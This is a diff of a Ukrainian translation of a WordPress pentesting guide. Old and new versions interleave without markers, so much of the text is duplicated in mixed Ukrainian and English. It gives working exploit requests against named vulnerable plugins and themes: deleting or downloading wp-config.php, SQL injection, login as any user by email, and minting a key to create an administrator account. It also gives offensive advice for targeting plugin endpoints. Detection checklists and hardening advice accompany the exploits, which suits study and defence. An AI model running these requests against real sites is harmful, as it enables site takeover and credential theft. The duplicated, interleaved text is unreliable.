- Example header: `X-Wcpay-Platform-Checkout-User: 1` (примушує user ID 1, зазвичай перший обліковий запис адміністратора).
|
||||
- Impact: неавторизоване підвищення привілеїв до admin шляхом створення нового адміністратора через основний users REST-маршрут.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (примушує user ID 1, зазвичай перший акаунт адміністратора).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||
|
||||
PoC
|
||||
@ -393,38 +393,29 @@ Content-Length: 114
|
||||
```
|
||||
Чому це працює
|
||||
|
||||
- Плагін відображає header, контрольований клієнтом, на стан автентифікації і пропускає перевірки capability.
|
||||
- WordPress core очікує здатність `create_users` для цього маршруту; хак плагіна обходить її, безпосередньо встановлюючи контекст поточного користувача з заголовка.
|
||||
- Плагін зіставляє заголовок, контрольований клієнтом, зі станом автентифікації та пропускає перевірки capability.
|
||||
- WordPress core очікує capability `create_users` для цього маршруту; експлойт плагіна обходить це, безпосередньо встановлюючи контекст поточного користувача з заголовка.
|
||||
|
||||
Очікувані ознаки успіху
|
||||
Очікувані індикатори успіху
|
||||
|
||||
- HTTP 201 з JSON-тілом, що описує створеного користувача.
|
||||
- Новий адміністратор помітний у `wp-admin/users.php`.
|
||||
- Новий користувач з правами адміністратора, видимий у `wp-admin/users.php`.
|
||||
|
||||
Чекліст виявлення
|
||||
|
||||
- Grep для `getallheaders()`, `$_SERVER['HTTP_...']`, або vendor SDKs, які читають кастомні заголовки щоб встановити контекст користувача (наприклад, `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Перегляньте реєстрації REST на предмет привілейованих callback-ів, які не мають надійних перевірок `permission_callback` і замість цього покладаються на заголовки запиту.
|
||||
- Шукайте використання core-функцій управління користувачами (`wp_insert_user`, `wp_create_user`) всередині REST-обробників, які є обмеженими тільки значеннями заголовків.
|
||||
- Grep для `getallheaders()`, `$_SERVER['HTTP_...']` або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (наприклад, `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Перегляньте реєстрації REST на предмет привілейованих callback-ів, які не мають надійних перевірок `permission_callback` і натомість покладаються на заголовки запиту.
|
||||
- Шукайте використання основних функцій управління користувачами (`wp_insert_user`, `wp_create_user`) всередині REST-обробників, доступні лише за значеннями заголовків.
|
||||
|
||||
Посилення безпеки
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
- Ніколи не виводьте автентифікацію або авторизацію з заголовків, контрольованих клієнтом.
|
||||
- Якщо reverse proxy має інжектувати ідентичність, припиніть довіру на проксі та видаліть вхідні копії (наприклад, `unset X-Wcpay-Platform-Checkout-User` на межі), потім передавайте підписаний токен і валідуйте його на сервері.
|
||||
- Для REST-маршрутів, що виконують привілейовані дії, вимагаються перевірки `current_user_can()` і строгий `permission_callback` (НЕ використовуйте `__return_true`).
|
||||
- Віддавайте перевагу першокласній автентифікації (cookies, application passwords, OAuth) замість імперсонації через заголовки.
|
||||
Теми та плагіни WordPress часто відкривають AJAX-обробники через хуки `wp_ajax_` та `wp_ajax_nopriv_`. Коли використовується варіант **_nopriv_** **callback стає доступним для неавторизованих відвідувачів**, тому будь-яка чутлива дія повинна додатково реалізувати:
|
||||
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
1. Перевірку прав (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), та
|
||||
2. CSRF nonce, валідацію якого виконують `check_ajax_referer()` / `wp_verify_nonce()`, та
|
||||
3. Строгу санітизацію / валідацію введених даних.
|
||||
|
||||
### Неавторизоване довільне видалення файлів через wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
Мультифункціональна тема Litho (< 3.1) пропустила ці три контролі у функції *Remove Font Family* і в результаті містила такий код (спрощено):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -443,60 +434,37 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Проблеми, викликані цим фрагментом:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
* **Неавтентифікований доступ** – зареєстровано хук `wp_ajax_nopriv_`.
|
||||
* **Відсутня перевірка nonce / capability** – будь-який відвідувач може звернутися до endpoint.
|
||||
* **Немає санітизації шляху** – рядок під контролем користувача `fontfamily` конкатенується з файловим шляхом без фільтрації, що дозволяє класичний `../../` traversal.
|
||||
* **Неавторизований доступ** – зареєстровано хук `wp_ajax_nopriv_`.
|
||||
* **No nonce / capability check** – будь-який відвідувач може звернутися до endpoint.
|
||||
* **No path sanitisation** – рядок, керований користувачем, `fontfamily` конкатенується з файловим шляхом без фільтрації, що дозволяє класичну `../../` traversal.
|
||||
|
||||
#### Exploitation
|
||||
#### Експлуатація
|
||||
|
||||
Зловмисник може видалити будь-який файл або каталог **нижче базового каталогу uploads** (зазвичай `<wp-root>/wp-content/uploads/`) відправивши один HTTP POST-запит:
|
||||
Атакуючий може видалити будь-який файл або директорію **нижче базового каталогу uploads** (зазвичай `<wp-root>/wp-content/uploads/`) відправивши один HTTP POST запит:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Оскільки `wp-config.php` знаходиться за межами *uploads*, на типовій інсталяції достатньо чотирьох послідовностей `../`. Видалення `wp-config.php` переведе WordPress при наступному відвідуванні в *майстер встановлення*, що дозволяє повне захоплення сайту (атакуючий лише надає нову конфігурацію бази даних і створює обліковий запис адміністратора).
|
||||
Оскільки `wp-config.php` розташований поза каталогом *uploads*, на стандартній установці достатньо чотирьох послідовностей `../`. Видалення `wp-config.php` примушує WordPress перейти в *майстер встановлення* при наступному відвідуванні, що дозволяє повне захоплення сайту (атакуючий просто подає нову DB-конфігурацію і створює admin-користувача).
|
||||
|
||||
Інші значущі цілі включають файли плагінів/тем `.php` (щоб порушити роботу плагінів безпеки) або правила `.htaccess`.
|
||||
Інші критичні цілі включають файли плагінів/теми `.php` (щоб зламати плагіни безпеки) або правила `.htaccess`.
|
||||
|
||||
#### Detection checklist
|
||||
#### Чекліст виявлення
|
||||
|
||||
* Будь-який callback `add_action( 'wp_ajax_nopriv_...')`, який викликає файлові хелпери (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо).
|
||||
* Конкатенація неналежно очищених даних користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Будь-який обробник `add_action( 'wp_ajax_nopriv_...')`, який викликає допоміжні функції файлової системи (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо).
|
||||
* Конкатенація неочищених даних від користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Відсутність `check_ajax_referer()` та `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Посилення безпеки
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Завжди** вважайте будь-яку операцію запису/видалення на диску привілейованою та двічі перевіряйте:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
### Privilege escalation через відновлення застарілих ролей та відсутність перевірки авторизації (ASE "View Admin as Role")
|
||||
|
||||
Багато плагінів реалізують функцію "view as role" або тимчасову зміну ролі, зберігаючи оригінальні роль(і) в user meta, щоб пізніше їх відновити. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) і на список, який підтримує плагін, без перевірки capabilities і валідного nonce, це стає vertical privilege escalation.
|
||||
Багато плагінів реалізують функцію "view as role" або тимчасової зміни ролі, зберігаючи початкові ролі в user meta, щоб пізніше їх відновити. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) і список, яким керує плагін, без перевірки capabilities та валідного nonce, це перетворюється на вертикальне privilege escalation.
|
||||
|
||||
Реальний приклад було знайдено у плагіні Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Гілка reset відновлювала ролі на основі `reset-for=<username>` якщо ім'я користувача з'являлося у внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала ні перевірки `current_user_can()`, ні верифікації nonce перед видаленням поточних ролей і повторним додаванням збережених ролей з user meta `_asenha_view_admin_as_original_roles`:
|
||||
Реальний приклад було знайдено в плагіні Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Гілка reset відновлювала ролі на основі `reset-for=<username>`, якщо ім'я користувача з'являлося у внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала ні перевірки `current_user_can()`, ні перевірки nonce перед видаленням поточних ролей та повторним додаванням збережених ролей з user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -513,15 +481,9 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
```
|
||||
Чому це можна експлуатувати
|
||||
|
||||
- Довіряє `$_REQUEST['reset-for']` та опції плагіна без авторизації на стороні сервера.
|
||||
- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і був понижений, він може відновити їх, звернувшись до шляху скидання.
|
||||
- У деяких розгортаннях будь-який автентифікований користувач міг би ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (пошкоджена авторизація).
|
||||
|
||||
Attack prerequisites
|
||||
|
||||
- Вразлива версія плагіна з увімкненою функцією.
|
||||
- Цільовий акаунт має застарілу роль з високими привілеями, збережену в user meta від попереднього використання.
|
||||
- Будь-яка автентифікована сесія; відсутній nonce/capability у потоці скидання.
|
||||
- Довіряється `$_REQUEST['reset-for']` та опції плагіна без серверної авторизації.
|
||||
- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і його понизили, він може відновити їх, перейшовши за шляхом скидання.
|
||||
- У деяких розгортаннях будь-який автентифікований користувач міг би ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (порушена авторизація).
|
||||
|
||||
Експлуатація (приклад)
|
||||
```bash
|
||||
@ -531,34 +493,21 @@ Attack prerequisites
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
На вразливих збірках це видаляє поточні ролі та повторно додає збережені «original roles» (наприклад, `administrator`), фактично підвищуючи привілеї.
|
||||
На вразливих збірках це видаляє поточні ролі та додає збережені оригінальні ролі (наприклад, `administrator`), фактично підвищуючи привілеї.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Шукайте функції перемикання ролей, що зберігають «original roles» в user meta (e.g., `_asenha_view_admin_as_original_roles`).
|
||||
- Шукайте функції переключення ролей, які зберігають “оригінальні ролі” в user meta (наприклад, `_asenha_view_admin_as_original_roles`).
|
||||
- Визначте шляхи скидання/відновлення, які:
|
||||
- Читають імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Змінюють ролі за допомогою `add_role()` / `remove_role()` без `current_user_can()` і `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Авторизують на основі масиву опцій плагіна (e.g., `viewing_admin_as_role_are`) замість можливостей актора.
|
||||
|
||||
Hardening
|
||||
|
||||
- Примусово перевіряйте можливості в кожному блоці, що змінює стан (e.g., `current_user_can('manage_options')` or stricter).
|
||||
- Вимагайте nonces для всіх змін ролей/дозволів та перевіряйте їх: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Ніколи не довіряйте іменам користувачів, отриманим із запиту; визначайте цільового користувача на сервері на основі автентифікованого актора та чіткої політики.
|
||||
- Анулюйте стан «original roles» при оновленнях профілю/ролей, щоб уникнути відновлення застарілих високих привілеїв:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Розгляньте зберігання мінімального стану та використання часово-обмежених токенів із перевіркою capability для тимчасових переключень ролей.
|
||||
- Читують імена користувачів з `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Модифікують ролі через `add_role()` / `remove_role()` без `current_user_can()` та `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Авторизують на основі масиву опцій плагіна (наприклад, `viewing_admin_as_role_are`) замість capabilities актора.
|
||||
|
||||
---
|
||||
|
||||
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
|
||||
|
||||
Деякі плагіни прив'язують хелпери для перемикання користувачів до публічного хуку `init` і визначають ідентичність зі значення cookie, що контролюється клієнтом. Якщо код викликає `wp_set_auth_cookie()` без перевірки автентифікації, capability та дійсного nonce, будь-який неавторизований відвідувач може примусово увійти під довільним користувачем.
|
||||
Деякі плагіни підключають допоміжні функції переключення користувачів до публічного хука `init` і визначають ідентичність з cookie, контрольованого клієнтом. Якщо код викликає `wp_set_auth_cookie()` без перевірки автентифікації, capability та дійсного nonce, будь-який неавторизований відвідувач може примусово увійти як довільний user ID.
|
||||
|
||||
Типовий вразливий шаблон (спрощено з Service Finder Bookings ≤ 6.1):
|
||||
```php
|
||||
@ -589,13 +538,13 @@ wp_die('Original user not found.');
|
||||
wp_die('No original user found to switch back to.');
|
||||
}
|
||||
```
|
||||
Чому це вразливе
|
||||
Чому це можна експлуатувати
|
||||
|
||||
- Публічний хук `init` робить обробник доступним для неавторизованих користувачів (немає захисту `is_user_logged_in()`).
|
||||
- Ідентичність походить із cookie, яке можна змінити на клієнті (`original_user_id`).
|
||||
- Прямий виклик `wp_set_auth_cookie($uid)` залогінює запитувача як цього користувача без перевірок capability/nonce.
|
||||
- Ідентичність отримується з cookie, що модифікується на боці клієнта (`original_user_id`).
|
||||
- Прямий виклик `wp_set_auth_cookie($uid)` залогінює запитувача як того користувача без будь-яких перевірок capability/nonce.
|
||||
|
||||
Експлуатація (без автентифікації)
|
||||
Експлуатація (неавторизована)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
@ -605,34 +554,34 @@ Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
### Особливості WAF для CVE WordPress/плагінів
|
||||
|
||||
Загальні edge/server WAFs налаштовані на широкі патерни (SQLi, XSS, LFI). Багато вразливостей високого впливу в WordPress/plugin — це специфічні для додатка logic/auth bugs, які виглядають як безпечний трафік, якщо движок не розуміє маршрути WordPress і семантику плагінів.
|
||||
Загальні edge/server WAF налаштовані на широкі сигнатури (SQLi, XSS, LFI). Багато вразливостей WordPress/плагінів з високим ступенем впливу — це баги логіки/auth на рівні застосунку, які виглядають як доброзичливий трафік, якщо рушій не розуміє маршрути WordPress та семантику плагінів.
|
||||
|
||||
Offensive notes
|
||||
Поради для атакуючого
|
||||
|
||||
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
|
||||
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
- Цільтеся в ендпоінти, специфічні для плагіна, використовуючи чисті payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Спочатку перевіряйте неавтентифіковані шляхи (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads часто спрацьовують без обфускації.
|
||||
- Типові високовпливові випадки: privilege escalation (порушення контролю доступу), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
Поради щодо захисту
|
||||
|
||||
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
|
||||
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
|
||||
- Не покладайтеся на загальні сигнатури WAF для захисту CVE плагінів. Реалізуйте віртуальні патчі на рівні застосунку, специфічні для вразливості, або оновлюйтеся швидко.
|
||||
- Віддавайте перевагу позитивним перевіркам безпеки в коді (capabilities, nonces, strict input validation) замість негативних regex-фільтрів.
|
||||
|
||||
## WordPress Protection
|
||||
## Захист WordPress
|
||||
|
||||
### Regular Updates
|
||||
### Регулярні оновлення
|
||||
|
||||
Переконайтесь, що WordPress, plugins, і themes оновлені до останніх версій. Також підтвердіть, що automated updating увімкнено в wp-config.php:
|
||||
Переконайтеся, що WordPress, плагіни та теми оновлені. Також перевірте, що автоматичне оновлення увімкнено в wp-config.php:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Також, **встановлюйте лише надійні плагіни та теми WordPress**.
|
||||
Крім того, **встановлюйте лише надійні плагіни та теми WordPress**.
|
||||
|
||||
### Security Plugins
|
||||
### Плагіни безпеки
|
||||
|
||||
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
|
||||
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
|
||||
@ -640,16 +589,16 @@ add_filter( 'auto_update_theme', '__return_true' );
|
||||
|
||||
### **Інші рекомендації**
|
||||
|
||||
- Видаліть стандартного користувача **admin**
|
||||
- Видаліть користувача за замовчуванням **admin**
|
||||
- Використовуйте **надійні паролі** та **2FA**
|
||||
- Періодично **переглядайте** **права доступу** користувачів
|
||||
- Обмежте **кількість спроб входу**, щоб запобігти Brute Force атакам
|
||||
- Перейменуйте файл **`wp-admin.php`** і дозволяйте доступ лише з внутрішньої мережі або з певних IP-адрес.
|
||||
- Періодично **перевіряйте** **дозволи** користувачів
|
||||
- **Обмежте кількість спроб входу** для запобігання Brute Force атак
|
||||
- Перейменуйте файл **`wp-admin.php`** та дозволяйте доступ лише зсередини мережі або з певних IP-адрес.
|
||||
|
||||
|
||||
### Неаутентифікована SQL Injection через недостатню валідацію (WP Job Portal <= 2.3.2)
|
||||
### Неавторизований SQL Injection через недостатню перевірку (WP Job Portal <= 2.3.2)
|
||||
|
||||
Плагін WP Job Portal для рекрутингу відкрив задачу **savecategory**, яка врешті-решт виконує наступний вразливий код у `modules/category/model.php::validateFormData()`:
|
||||
Плагін WP Job Portal для підбору персоналу відкрив задачу **savecategory**, яка зрештою виконує наступний вразливий код у `modules/category/model.php::validateFormData()`:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
@ -659,11 +608,11 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
Проблеми, викликані цим фрагментом:
|
||||
Проблеми, які вносять цей фрагмент:
|
||||
|
||||
1. **Неочищений користувацький ввід** – `parentid` береться безпосередньо з HTTP-запиту.
|
||||
2. **Конкатенація рядків у WHERE-клаузі** – немає `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Доступ без аутентифікації** – хоча дія виконується через `admin-post.php`, єдина перевірка — **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати зі сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`.
|
||||
1. **Несанітизований ввід користувача** – `parentid` надходить безпосередньо з HTTP-запиту.
|
||||
2. **Конкатенація рядків у WHERE-умові** – відсутні `is_numeric()` / `esc_sql()` / prepared statement.
|
||||
3. **Unauthenticated reachability** – хоча дія виконується через `admin-post.php`, єдина перевірка — **CSRF nonce** (`wp_verify_nonce()`), який будь-який відвідувач може отримати зі сторінки, що вбудовує шорткод `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Експлуатація
|
||||
|
||||
@ -671,7 +620,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. Впровадьте довільний SQL, зловживаючи `parentid`:
|
||||
2. Інжектувати довільний SQL, зловживаючи `parentid`:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
@ -679,12 +628,12 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
Відповідь видає результат ін'єкції запиту або змінює базу даних, що доводить наявність SQLi.
|
||||
Відповідь розкриває результат інжектованого запиту або змінює базу даних, що підтверджує наявність SQLi.
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
|
||||
Ще одне завдання, **downloadcustomfile**, дозволяло відвідувачам завантажувати **будь-який файл на диску** через path traversal. Уразливий sink знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
Ще одна задача, **downloadcustomfile**, дозволяла відвідувачам завантажувати **будь-який файл на диску** через path traversal. Уразливий sink знаходиться в `modules/customfield/model.php::downloadCustomUploadedFile()`:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
@ -692,7 +641,7 @@ echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` контролюється атакуючим і конкатенується **без санітизації**. Знову ж, єдиним бар'єром є **CSRF nonce**, який можна отримати зі сторінки резюме.
|
||||
|
||||
#### Exploitation
|
||||
#### Експлуатація
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
@ -701,9 +650,200 @@ curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
Сервер повертає вміст файлу `wp-config.php`, внаслідок чого розкриваються DB credentials і auth keys.
|
||||
Сервер повертає вміст `wp-config.php`, leaking DB credentials and auth keys.
|
||||
|
||||
## Посилання
|
||||
## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
|
||||
|
||||
Багато тем/плагінів містять "social login" helpers, доступні через admin-ajax.php. Якщо unauthenticated AJAX action (wp_ajax_nopriv_...) довіряє client-supplied identifiers, коли provider data відсутні, і потім викликає wp_set_auth_cookie(), це перетворюється на full authentication bypass.
|
||||
|
||||
Типовий проблемний шаблон (спрощено)
|
||||
```php
|
||||
public function check_login() {
|
||||
// ... request parsing ...
|
||||
switch ($_POST['using']) {
|
||||
case 'fb': /* set $user_email from verified Facebook token */ break;
|
||||
case 'google': /* set $user_email from verified Google token */ break;
|
||||
// other providers ...
|
||||
default: /* unsupported/missing provider – execution continues */ break;
|
||||
}
|
||||
|
||||
// FALLBACK: trust POSTed "id" as email if provider data missing
|
||||
$user_email = !empty($user_email)
|
||||
? $user_email
|
||||
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
|
||||
|
||||
if (empty($user_email)) {
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
|
||||
$user = get_user_by('email', $user_email);
|
||||
if ($user) {
|
||||
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
|
||||
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
|
||||
}
|
||||
wp_send_json(['status' => 'not_user']);
|
||||
}
|
||||
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
|
||||
```
|
||||
Why it’s exploitable
|
||||
|
||||
- Доступна без автентифікації через admin-ajax.php (дія wp_ajax_nopriv_…).
|
||||
- Відсутні перевірки nonce/capability перед зміною стану.
|
||||
- Відсутня верифікація провайдера OAuth/OpenID; гілка за замовчуванням приймає введення від нападника.
|
||||
- get_user_by('email', $_POST['id']) у поєднанні з wp_set_auth_cookie($uid) автентифікують запитувача як будь-яку існуючу електронну адресу.
|
||||
|
||||
Exploitation (unauthenticated)
|
||||
|
||||
- Передумови: нападник має доступ до /wp-admin/admin-ajax.php і знає/вгадує дійсну електронну адресу користувача.
|
||||
- Встановіть provider у непідтримуване значення (або опустіть його), щоб потрапити в гілку за замовчуванням і передати id=<victim_email>.
|
||||
```http
|
||||
POST /wp-admin/admin-ajax.php HTTP/1.1
|
||||
Host: victim.tld
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
|
||||
```
|
||||
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
|
||||
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
|
||||
```
|
||||
Очікувані індикатори успіху
|
||||
|
||||
- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
|
||||
- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.
|
||||
|
||||
Знаходження назви action
|
||||
|
||||
- Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
|
||||
- Шукайте wp_set_auth_cookie(), get_user_by('email', ...) всередині AJAX-обробників.
|
||||
|
||||
Чекліст виявлення
|
||||
|
||||
- Веб-логи, що показують неаутентифіковані POST-запити до /wp-admin/admin-ajax.php з action social-login і id=<email>.
|
||||
- 200-відповіді з success JSON безпосередньо перед аутентифікованим трафіком з тієї ж IP/User-Agent.
|
||||
|
||||
Зміцнення
|
||||
|
||||
- Не виводьте ідентичність із введення клієнта. Приймайте лише emails/IDs, що походять від перевіреного provider token/ID.
|
||||
- Вимагайте CSRF nonces та перевірки capability навіть для login helpers; уникайте реєстрації wp_ajax_nopriv_ якщо це не суворо необхідно.
|
||||
- Валідуйте та перевіряйте OAuth/OIDC відповіді на сервері; відхиляйте відсутніх/недійсних провайдерів (без fallback на POST id).
|
||||
- Розгляньте тимчасове відключення social login або віртуальне патчення на краю (блокувати вразливий action) доки не виправлено.
|
||||
|
||||
Поведінка після виправлення (Jobmonster 4.8.0)
|
||||
|
||||
- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).
|
||||
|
||||
## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
Деякі плагіни виставляють REST endpoints, які генерують багаторазові “connection keys” або токени без перевірки capability викликача. Якщо маршрут автентифікує лише за вгадуваним атрибутом (наприклад, username) і не прив'язує ключ до користувача/сесії з перевірками capability, будь-який неаутентифікований атакувальник може згенерувати ключ і викликати привілейовані дії (створення admin-акаунту, дії плагіна → RCE).
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
- Impact: full takeover by chaining the minted key to internal privileged actions
|
||||
|
||||
PoC – згенеруйте connection key і використайте його
|
||||
```bash
|
||||
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"username":"admin"}'
|
||||
# → {"key":"<conn_key>", ...}
|
||||
|
||||
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'X-Connection-Key: <conn_key>' \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
Чому це експлойтабельно
|
||||
- Чутливий REST route захищений тільки низькоентропійним підтвердженням особи (username) або відсутнім permission_callback
|
||||
